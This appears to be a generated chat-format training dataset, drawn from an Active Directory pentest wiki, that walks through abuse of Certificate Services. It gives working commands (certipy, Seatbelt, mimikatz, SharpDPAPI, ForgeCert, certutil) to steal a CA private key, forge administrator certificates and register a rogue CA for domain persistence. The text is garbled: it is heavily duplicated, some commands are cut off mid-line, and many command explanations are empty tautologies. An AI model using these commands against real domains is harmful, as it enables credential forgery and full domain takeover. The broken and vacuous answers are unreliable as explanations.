https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-2-known-ad-attacks-from-child-to-parent

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-3-sid-filtering-explained

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent

https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted

https://nored0x.github.io/red-teaming/active-directory-Trust-enumeration/

https://posts.specterops.io/not-a-security-boundary-breaking-forest-trusts-cd125829518d

https://adsecurity.org/?p=425

https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1

https://www.labofapenetrationtester.com/2019/04/abusing-PAM.html


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Access controls - Theory

[Assistant]
In their research papers, Will Schroeder and Lee Christensen identified a set of vectors of domain persistence based on access control misconfigurations (dubbed DPERSIST3).

Active Directory Certificate Services add multiple objects to AD, including securable ones which principals can have permissions over. This includes Certificate templates, Certificate Authorities, CA server, etc.

In the same research papers, domain escalation techniques abusing misconfigurated access controls were identified dubbed ESC4, ESC5 and ESC7).

If an attacker obtains sufficient permissions in a domain, he could modify security descriptors of AD CS components, in order to make them vulnerable to the attacks mentioned in Movement > AD-CS > Access controls.

These modifications can be made with tools like Impacket's (Python) dacledit.py or with Add-DomainObjectAcl (PowerView module), as explained in grant-rights.md.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
In their research papers, Will Schroeder and Lee Christensen identified a set of vectors of domain persistence based on access control misconfigurations (dubbed DPERSIST3).

Active Directory Certificate Services add multiple objects to AD, including securable ones which principals can have permissions over. This includes Certificate templates, Certificate Authorities, CA server, etc.

In the same research papers, domain escalation techniques abusing misconfigurated access controls were identified dubbed ESC4, ESC5 and ESC7).

If an attacker obtains sufficient permissions in a domain, he could modify security descriptors of AD CS components, in order to make them vulnerable to the attacks mentioned in Movement > AD-CS > Access controls.

These modifications can be made with tools like Impacket's (Python) dacledit.py or with Add-DomainObjectAcl (PowerView module), as explained in grant-rights.md.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Access controls - Theory

[Assistant]
In their research papers, Will Schroeder and Lee Christensen identified a set of vectors of domain persistence based on access control misconfigurations (dubbed DPERSIST3).

Active Directory Certificate Services add multiple objects to AD, including securable ones which principals can have permissions over. This includes Certificate templates, Certificate Authorities, CA server, etc.

In the same research papers, domain escalation techniques abusing misconfigurated access controls were identified dubbed ESC4, ESC5 and ESC7).

If an attacker obtains sufficient permissions in a domain, he could modify security descriptors of AD CS components, in order to make them vulnerable to the attacks mentioned in Movement > AD-CS > Access controls.

These modifications can be made with tools like Impacket's (Python) dacledit.py or with Add-DomainObjectAcl (PowerView module), as explained in grant-rights.md.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Access controls - Theory

Response:
In their research papers, Will Schroeder and Lee Christensen identified a set of vectors of domain persistence based on access control misconfigurations (dubbed DPERSIST3).

Active Directory Certificate Services add multiple objects to AD, including securable ones which principals can have permissions over. This includes Certificate templates, Certificate Authorities, CA server, etc.

In the same research papers, domain escalation techniques abusing misconfigurated access controls were identified dubbed ESC4, ESC5 and ESC7).

If an attacker obtains sufficient permissions in a domain, he could modify security descriptors of AD CS components, in order to make them vulnerable to the attacks mentioned in Movement > AD-CS > Access controls.

These modifications can be made with tools like Impacket's (Python) dacledit.py or with Add-DomainObjectAcl (PowerView module), as explained in grant-rights.md.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Certificate authority - Theory

[Assistant]
In their research papers, Will Schroeder and Lee Christensen identified 2 domain persistence techniques relying on the role of the Certificate Authority within a PKI.

* Forging certificates with a stolen CA certificates (DPERSIST1)
* Trusting rogue CA certificates (DPERSIST2)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
In their research papers, Will Schroeder and Lee Christensen identified 2 domain persistence techniques relying on the role of the Certificate Authority within a PKI.

* Forging certificates with a stolen CA certificates (DPERSIST1)
* Trusting rogue CA certificates (DPERSIST2)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Certificate authority - Theory

[Assistant]
In their research papers, Will Schroeder and Lee Christensen identified 2 domain persistence techniques relying on the role of the Certificate Authority within a PKI.

* Forging certificates with a stolen CA certificates (DPERSIST1)
* Trusting rogue CA certificates (DPERSIST2)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Certificate authority - Theory

Response:
In their research papers, Will Schroeder and Lee Christensen identified 2 domain persistence techniques relying on the role of the Certificate Authority within a PKI.

* Forging certificates with a stolen CA certificates (DPERSIST1)
* Trusting rogue CA certificates (DPERSIST2)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Certificate authority - Stolen CA in the context of penetration testing

[Assistant]
> The Enterprise CA has a certificate and associated private key that exist on the CA server itself. (Certified_Pre-Owned.pdf)

If an attacker obtains control over a CA server, he may be able to retrieve the private key associated with the CA cert, and use that private key to generate and sign client certificates. This means he could forge (and sign) certificate to authenticate as a powerful user for example.

::: tabs

=== UNIX-like

Extracting the DPAPI-protected CA cert private key can be done remotely from UNIX-like systems with Certipy (Python).

``bash
certipy ca -backup -ca "CA" -username "USER@domain.local" -password "PASSWORD" -dc-ip "DC-IP"
`

Then, forging (and signing) a certificate can be done as follows.

`bash
certipy forge -ca-pfx "CA.pfx" -upn "administrator@corp.local" -subject "CN=Administrator,CN=Users,DC=CORP,DC=LOCAL"
`

The certificate can then be used with Pass the Certificate.

=== Windows

Extracting the DPAPI-protected CA cert private key can be done remotely with Seatbelt (C#).

`powershell
Seatbelt.exe Certificates -computername="ca.domain.local"
`

Alternatively, the builtin certsrv.msc utility can be used locally on the CA server.

`
Win+R > certsrv.msc > CA > right click > All Tasks > Back up CA... > selet "Private key and CA certificate" > Next
`

Alternatively, Mimikatz (C) can also be used for that purpose, locally.

`powershell
mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"
`

Alternatively, SharpDPAPI (C#) can be used for that purpose, locally, along with openssl to transform the PEM into a usable PFX.

`powershell
SharpDPAPI.exe certificates /machine
`

`bash
openssl pkcs12 -in "ca.pem" -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out "ca.pfx"
`

Then, forging and signing a certificate can be done with ForgeCert (C#).

`powershell
ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "admin

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Certificate authority - Stolen CA in the context of penetration testing

Response:
> The Enterprise CA has a certificate and associated private key that exist on the CA server itself. (Certified_Pre-Owned.pdf)

If an attacker obtains control over a CA server, he may be able to retrieve the private key associated with the CA cert, and use that private key to generate and sign client certificates. This means he could forge (and sign) certificate to authenticate as a powerful user for example.

::: tabs

=== UNIX-like

Extracting the DPAPI-protected CA cert private key can be done remotely from UNIX-like systems with Certipy (Python).

``bash
certipy ca -backup -ca "CA" -username "USER@domain.local" -password "PASSWORD" -dc-ip "DC-IP"
`

Then, forging (and signing) a certificate can be done as follows.

`bash
certipy forge -ca-pfx "CA.pfx" -upn "administrator@corp.local" -subject "CN=Administrator,CN=Users,DC=CORP,DC=LOCAL"
`

The certificate can then be used with Pass the Certificate.

=== Windows

Extracting the DPAPI-protected CA cert private key can be done remotely with Seatbelt (C#).

`powershell
Seatbelt.exe Certificates -computername="ca.domain.local"
`

Alternatively, the builtin certsrv.msc utility can be used locally on the CA server.

`
Win+R > certsrv.msc > CA > right click > All Tasks > Back up CA... > selet "Private key and CA certificate" > Next
`

Alternatively, Mimikatz (C) can also be used for that purpose, locally.

`powershell
mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"
`

Alternatively, SharpDPAPI (C#) can be used for that purpose, locally, along with openssl to transform the PEM into a usable PFX.

`powershell
SharpDPAPI.exe certificates /machine
`

`bash
openssl pkcs12 -in "ca.pem" -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out "ca.pfx"
`

Then, forging and signing a certificate can be done with ForgeCert (C#).

`powershell
ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "admin


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Certificate authority - Stolen CA

[Assistant]
> The Enterprise CA has a certificate and associated private key that exist on the CA server itself. (Certified_Pre-Owned.pdf)

If an attacker obtains control over a CA server, he may be able to retrieve the private key associated with the CA cert, and use that private key to generate and sign client certificates. This means he could forge (and sign) certificate to authenticate as a powerful user for example.

::: tabs

=== UNIX-like

Extracting the DPAPI-protected CA cert private key can be done remotely from UNIX-like systems with Certipy (Python).

``bash
certipy ca -backup -ca "CA" -username "USER@domain.local" -password "PASSWORD" -dc-ip "DC-IP"
`

Then, forging (and signing) a certificate can be done as follows.

`bash
certipy forge -ca-pfx "CA.pfx" -upn "administrator@corp.local" -subject "CN=Administrator,CN=Users,DC=CORP,DC=LOCAL"
`

The certificate can then be used with Pass the Certificate.

=== Windows

Extracting the DPAPI-protected CA cert private key can be done remotely with Seatbelt (C#).

`powershell
Seatbelt.exe Certificates -computername="ca.domain.local"
`

Alternatively, the builtin certsrv.msc utility can be used locally on the CA server.

`
Win+R > certsrv.msc > CA > right click > All Tasks > Back up CA... > selet "Private key and CA certificate" > Next
`

Alternatively, Mimikatz (C) can also be used for that purpose, locally.

`powershell
mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"
`

Alternatively, SharpDPAPI (C#) can be used for that purpose, locally, along with openssl to transform the PEM into a usable PFX.

`powershell
SharpDPAPI.exe certificates /machine
`

`bash
openssl pkcs12 -in "ca.pem" -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out "ca.pfx"
`

Then, forging and signing a certificate can be done with ForgeCert (C#).

`powershell
ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "admin

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Certificate authority - Stolen CA

Response:
> The Enterprise CA has a certificate and associated private key that exist on the CA server itself. (Certified_Pre-Owned.pdf)

If an attacker obtains control over a CA server, he may be able to retrieve the private key associated with the CA cert, and use that private key to generate and sign client certificates. This means he could forge (and sign) certificate to authenticate as a powerful user for example.

::: tabs

=== UNIX-like

Extracting the DPAPI-protected CA cert private key can be done remotely from UNIX-like systems with Certipy (Python).

``bash
certipy ca -backup -ca "CA" -username "USER@domain.local" -password "PASSWORD" -dc-ip "DC-IP"
`

Then, forging (and signing) a certificate can be done as follows.

`bash
certipy forge -ca-pfx "CA.pfx" -upn "administrator@corp.local" -subject "CN=Administrator,CN=Users,DC=CORP,DC=LOCAL"
`

The certificate can then be used with Pass the Certificate.

=== Windows

Extracting the DPAPI-protected CA cert private key can be done remotely with Seatbelt (C#).

`powershell
Seatbelt.exe Certificates -computername="ca.domain.local"
`

Alternatively, the builtin certsrv.msc utility can be used locally on the CA server.

`
Win+R > certsrv.msc > CA > right click > All Tasks > Back up CA... > selet "Private key and CA certificate" > Next
`

Alternatively, Mimikatz (C) can also be used for that purpose, locally.

`powershell
mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"
`

Alternatively, SharpDPAPI (C#) can be used for that purpose, locally, along with openssl to transform the PEM into a usable PFX.

`powershell
SharpDPAPI.exe certificates /machine
`

`bash
openssl pkcs12 -in "ca.pem" -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out "ca.pfx"
`

Then, forging and signing a certificate can be done with ForgeCert (C#).

`powershell
ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "admin


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use certipy for certificate authority - stolen ca?

[Assistant] certipy ca -backup -ca "CA" -username "USER@domain.local" -password "PASSWORD" -dc-ip "DC-IP"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use certipy for certificate authority - stolen ca?

Response: certipy ca -backup -ca "CA" -username "USER@domain.local" -password "PASSWORD" -dc-ip "DC-IP"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Certificate authority - Stolen CA

[Assistant] certipy ca -backup -ca "CA" -username "USER@domain.local" -password "PASSWORD" -dc-ip "DC-IP"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: certipy ca -backup -ca "CA" -username "USER@domain.local" -password "PASSWORD" -dc-ip "DC-IP"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `certipy ca -backup -ca "CA" -username "USER@domain.local" -password "PASSWORD" -dc-ip "DC-IP"`?

[Assistant] This command is used for certificate authority - stolen ca. Stolen CA

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `certipy ca -backup -ca "CA" -username "USER@domain.local" -password "PASSWORD" -dc-ip "DC-IP"`?

Response: This command is used for certificate authority - stolen ca. Stolen CA


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the certipy syntax for certificate authority - stolen ca?

[Assistant] certipy forge -ca-pfx "CA.pfx" -upn "administrator@corp.local" -subject "CN=Administrator,CN=Users,DC=CORP,DC=LOCAL"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the certipy syntax for certificate authority - stolen ca?

Response: certipy forge -ca-pfx "CA.pfx" -upn "administrator@corp.local" -subject "CN=Administrator,CN=Users,DC=CORP,DC=LOCAL"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Certificate authority - Stolen CA?

[Assistant] certipy forge -ca-pfx "CA.pfx" -upn "administrator@corp.local" -subject "CN=Administrator,CN=Users,DC=CORP,DC=LOCAL"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Certificate authority - Stolen CA?

Response: certipy forge -ca-pfx "CA.pfx" -upn "administrator@corp.local" -subject "CN=Administrator,CN=Users,DC=CORP,DC=LOCAL"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `certipy forge -ca-pfx "CA.pfx" -upn "administrator@corp.local" -subject "CN=Administrator,CN=Users,DC=CORP,DC=LOCAL"`?

[Assistant] This command is used for certificate authority - stolen ca. Stolen CA

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `certipy forge -ca-pfx "CA.pfx" -upn "administrator@corp.local" -subject "CN=Administrator,CN=Users,DC=CORP,DC=LOCAL"`?

Response: This command is used for certificate authority - stolen ca. Stolen CA


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the Seatbelt.exe command for certificate authority - stolen ca

[Assistant] Seatbelt.exe Certificates -computername="ca.domain.local"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the Seatbelt.exe command for certificate authority - stolen ca

Response: Seatbelt.exe Certificates -computername="ca.domain.local"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Certificate authority - Stolen CA?

[Assistant] Seatbelt.exe Certificates -computername="ca.domain.local"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Certificate authority - Stolen CA?

Response: Seatbelt.exe Certificates -computername="ca.domain.local"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Seatbelt.exe Certificates -computername="ca.domain.local"`?

[Assistant] This command is used for certificate authority - stolen ca. Stolen CA

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Seatbelt.exe Certificates -computername="ca.domain.local"`?

Response: This command is used for certificate authority - stolen ca. Stolen CA


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Certificate authority - Stolen CA during a pentest?

[Assistant] Win+R > certsrv.msc > CA > right click > All Tasks > Back up CA... > selet "Private key and CA certificate" > Next

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Certificate authority - Stolen CA during a pentest?

Response: Win+R > certsrv.msc > CA > right click > All Tasks > Back up CA... > selet "Private key and CA certificate" > Next


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Win+R > certsrv.msc > CA > right click > All Tasks > Back up CA... > selet "Private key and CA certificate" > Next`?

[Assistant] This command is used for certificate authority - stolen ca. Stolen CA

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Win+R > certsrv.msc > CA > right click > All Tasks > Back up CA... > selet "Private key and CA certificate" > Next`?

Response: This command is used for certificate authority - stolen ca. Stolen CA


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the mimikatz.exe command for certificate authority - stolen ca

[Assistant] mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the mimikatz.exe command for certificate authority - stolen ca

Response: mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Certificate authority - Stolen CA during a pentest?

[Assistant] mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"`?

[Assistant] This command is used for certificate authority - stolen ca. Stolen CA

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"`?

Response: This command is used for certificate authority - stolen ca. Stolen CA


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the SharpDPAPI.exe syntax for certificate authority - stolen ca?

[Assistant] SharpDPAPI.exe certificates /machine

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the SharpDPAPI.exe syntax for certificate authority - stolen ca?

Response: SharpDPAPI.exe certificates /machine


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Certificate authority - Stolen CA

[Assistant] SharpDPAPI.exe certificates /machine

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Certificate authority - Stolen CA

Response: SharpDPAPI.exe certificates /machine


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `SharpDPAPI.exe certificates /machine`?

[Assistant] This command is used for certificate authority - stolen ca. Stolen CA

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `SharpDPAPI.exe certificates /machine`?

Response: This command is used for certificate authority - stolen ca. Stolen CA


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the openssl command to certificate authority - stolen ca

[Assistant]
openssl pkcs12 -in "ca.pem" -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out "ca.pfx"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the openssl command to certificate authority - stolen ca

Response:
openssl pkcs12 -in "ca.pem" -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out "ca.pfx"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Certificate authority - Stolen CA?

[Assistant]
openssl pkcs12 -in "ca.pem" -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out "ca.pfx"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
openssl pkcs12 -in "ca.pem" -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out "ca.pfx"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `openssl pkcs12 -in "ca.pem" -keyex -CSP "Microsoft Enhanced`?

[Assistant] This command is used for certificate authority - stolen ca. Stolen CA

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `openssl pkcs12 -in "ca.pem" -keyex -CSP "Microsoft Enhanced`?

Response: This command is used for certificate authority - stolen ca. Stolen CA


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the ForgeCert.exe command for certificate authority - stolen ca

[Assistant] ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "administrator.pfx" --NewCertPassword "Password"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the ForgeCert.exe command for certificate authority - stolen ca

Response: ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "administrator.pfx" --NewCertPassword "Password"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Certificate authority - Stolen CA

[Assistant] ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "administrator.pfx" --NewCertPassword "Password"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Certificate authority - Stolen CA

Response: ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "administrator.pfx" --NewCertPassword "Password"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "administrator.pfx" --NewCertPassword "Password"`?

[Assistant] This command is used for certificate authority - stolen ca. Stolen CA

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "administrator.pfx" --NewCertPassword "Password"`?

Response: This command is used for certificate authority - stolen ca. Stolen CA


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Certificate authority - Rogue CA?

[Assistant]
> [!WARNING]
> > it is usually preferable for an attacker to steal the existing CA certificate instead of installing an additional rogue CA certificate (Certified_Pre-Owned.pdf)

An attacker with sufficient privileges in the domain can setup a rogue CA and make the domain's resources trust it. Once the rogue CA is trusted, the attacker can forge and sign client certificates.

In order to register the rogue CA, the self-signed CA cert must be added to the NTAuthCertificates object's cacertificate attribute, and in the RootCA directory services store.

Registering the rogue CA can be done remotely with the certutil.exe utility from Windows systems.

``batch
certutil.exe -dspublish -f "C:\Temp\CERT.crt" NTAuthCA
``

Once this is done, a certificate can be forged, signed and used as explained above: #stolen-ca

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Certificate authority - Rogue CA?

Response:
> [!WARNING]
> > it is usually preferable for an attacker to steal the existing CA certificate instead of installing an additional rogue CA certificate (Certified_Pre-Owned.pdf)

An attacker with sufficient privileges in the domain can setup a rogue CA and make the domain's resources trust it. Once the rogue CA is trusted, the attacker can forge and sign client certificates.

In order to register the rogue CA, the self-signed CA cert must be added to the NTAuthCertificates object's cacertificate attribute, and in the RootCA directory services store.

Registering the rogue CA can be done remotely with the certutil.exe utility from Windows systems.

``batch
certutil.exe -dspublish -f "C:\Temp\CERT.crt" NTAuthCA
``

Once this is done, a certificate can be forged, signed and used as explained above: #stolen-ca


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Certificate authority - Rogue CA during a pentest?

[Assistant]
> [!WARNING]
> > it is usually preferable for an attacker to steal the existing CA certificate instead of installing an additional rogue CA certificate (Certified_Pre-Owned.pdf)

An attacker with sufficient privileges in the domain can setup a rogue CA and make the domain's resources trust it. Once the rogue CA is trusted, the attacker can forge and sign client certificates.

In order to register the rogue CA, the self-signed CA cert must be added to the NTAuthCertificates object's cacertificate attribute, and in the RootCA directory services store.

